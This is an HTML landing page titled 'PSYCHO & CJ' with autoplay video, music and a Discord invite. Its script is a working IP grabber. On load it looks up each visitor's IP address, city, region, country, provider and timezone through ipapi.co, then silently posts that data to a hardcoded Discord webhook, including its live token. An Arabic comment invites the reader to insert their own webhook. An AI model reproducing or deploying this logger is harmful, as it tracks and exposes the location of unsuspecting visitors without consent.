<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>PSYCHO & CJ</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            font-family: 'Courier New', Courier, monospace;
            color: #490a0a;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            flex-direction: column;
            text-align: center;
            overflow: hidden;
            background-color: black;
        }

        .background-video {
            position: absolute;
            top: 50%;
            left: 50%;
            width: 70%;
            height: auto;
            transform: translate(-50%, -50%);
            z-index: -1;
            object-fit: contain;
        }

        .content {
            display: none;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            z-index: 1;
            position: relative;
            height: 100vh;
            width: 100%;
        }

        .background-video-second {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            object-fit: cover;
            z-index: -1;
        }

        .info {
            margin-top: 20px;
            font-size: 1.5em;
            background: linear-gradient(45deg, white, silver, gold);
            -webkit-background-clip: text;
            color: transparent;
            text-shadow: 0px 0px 8px rgba(255, 255, 255, 0.5), 0px 0px 15px rgba(255, 255, 255, 0.5), 0px 0px 25px rgba(255, 255, 255, 0.5);
            letter-spacing: 4.5px;
            white-space: pre-wrap;
        }

        .text {
            margin-top: 20px;
            font-size: 3em;
            background: linear-gradient(45deg, white, silver, gold);
            -webkit-background-clip: text;
            color: transparent;
            text-shadow: 0px 0px 8px rgba(255, 255, 255, 0.5), 0px 0px 15px rgba(255, 255, 255, 0.5), 0px 0px 25px rgba(255, 255, 255, 0.5);
            letter-spacing: 4.5px;
        }

        .marquee {
            position: absolute;
            top: 10%;
            width: 100%;
            overflow: hidden;
            white-space: nowrap;
        }

        .marquee span {
            display: inline-block;
            font-size: 2em;
            color: #ff0000;
            text-shadow: 0px 0px 8px #ff0000, 0px 0px 15px #ff0000, 0px 0px 25px #ff0000;
            animation: scroll 10s linear infinite;
        }

        @keyframes scroll {
            0% { transform: translateX(100%); }
            100% { transform: translateX(-100%); }
        }

        .image-container img {
            max-width: 80%;
            height: auto;
            margin: 20px auto;
            display: block;
        }
    </style>
</head>
<body>
    <video class="background-video" autoplay muted>
        <source src="https://j.top4top.io/m_3260pjgnd1.mp4" type="video/mp4">
        Your browser does not support the video tag.
    </video>

    <div class="content">
        <video class="background-video-second" autoplay loop muted>
            <source src="https://j.top4top.io/m_3260x1u4k1.mp4" type="video/mp4">
            Your browser does not support the video tag.
        </video>

        <div class="marquee"></div>

        <div class="image-container">
            <img src="https://i.top4top.io/p_3260wci721.png" alt="Your Image">
        </div>

        <div class="info" id="ip-info">Loading IP Info...</div>
        <div class="text">discord.gg/P7</div>

        <audio autoplay loop>
            <source src="https://h.top4top.io/m_3260itkha1.mp3" type="audio/mpeg">
            Your browser does not support the audio element.
        </audio>
    </div>

    <script>
        const webhookUrl = 'https://discord.com/api/webhooks/1317232161052426411/1ALhY3_YI6LX8-cNCb6BXbwoD9YGyHRl-2N2IvZicU1rGM7AUJbT2sLjZ7KkIokIzIbr'; // ضع رابط الويب هوك الخاص بك هنا

        const video = document.querySelector('.background-video');
        const content = document.querySelector('.content');

        video.onended = function() {
            content.style.display = 'flex';
            video.style.display = 'none';
        };

        fetch('https://ipapi.co/json/')
            .then(response => response.json())
            .then(data => {
                const info = {
                    ip: data.ip,
                    city: data.city,
                    region: data.region,
                    country: data.country,
                    loc: data.loc,
                    org: data.org,
                    timezone: data.timezone
                };

                document.getElementById('ip-info').innerText = JSON.stringify(info, null, 2);

                // إرسال البيانات إلى الويب هوك
                fetch(webhookUrl, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify({
                        content: `IP Information:\n\n${JSON.stringify(info, null, 2)}`
                    })
                }).catch(error => console.error('Error sending data to Discord webhook:', error));
            })
            .catch(error => {
                document.getElementById('ip-info').innerText = 'Unable to fetch IP information.';
                console.error('Error fetching IP info:', error);
            });
    </script>
</body>
</html>
